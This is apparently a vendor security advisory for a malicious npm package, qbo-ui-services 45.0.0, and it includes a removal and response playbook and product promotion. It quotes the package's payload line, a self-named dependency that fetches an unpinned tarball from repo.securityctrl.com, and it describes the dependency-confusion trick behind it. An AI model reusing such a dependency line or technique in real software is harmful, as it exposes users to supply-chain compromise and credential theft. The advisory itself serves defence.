Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

qbo-ui-servicesnpm

qbo-ui-services is a confirmed malicious npm package (MAL-2026-15519) that executes malicious code on install (malicious version 45.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in qbo-ui-services (npm)

MAL-2026-15519
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall qbo-ui-services

What this malware does

package.json line 11 declares a self-referential dependency whose source is a bare HTTP URL rather than a registry version range: "qbo-ui-services": "https://repo.securityctrl.com/qbo-ui-services". On npm install, npm fetches whatever tarball that URL returns and installs it, executing any lifecycle scripts contained inside, with no version pin and no integrity hash. The shipped index.js is an inert stub, so the manifest line is the entire published payload. The dependency key equals this package's own name and the version marker (45.0.0) is implausibly high, matching a dependency-confusion shape intended to win resolution against an internal package. The host repo.securityctrl.com is not a known npm registry and is unrelated to any declared repository or homepage.

Malicious versions

1 flagged
45.0.0

Indicators of compromise (SHA-256)

7391c0f366c6339b3c6c75a1e891d1123cc4483ba3c01eedc20ebbbe3dfc48a7

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for qbo-ui-services (version 45.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging qbo-ui-services across your stack and pipelines.

  2. If you installed it — respond

    Remove qbo-ui-services from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If qbo-ui-services was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks qbo-ui-services before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. qbo-ui-services on npm has been identified as a malicious package (version 45.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019087

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks qbo-ui-services-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

qbo-ui-services (npm) malicious package — MAL-2026-15519 | O3 Security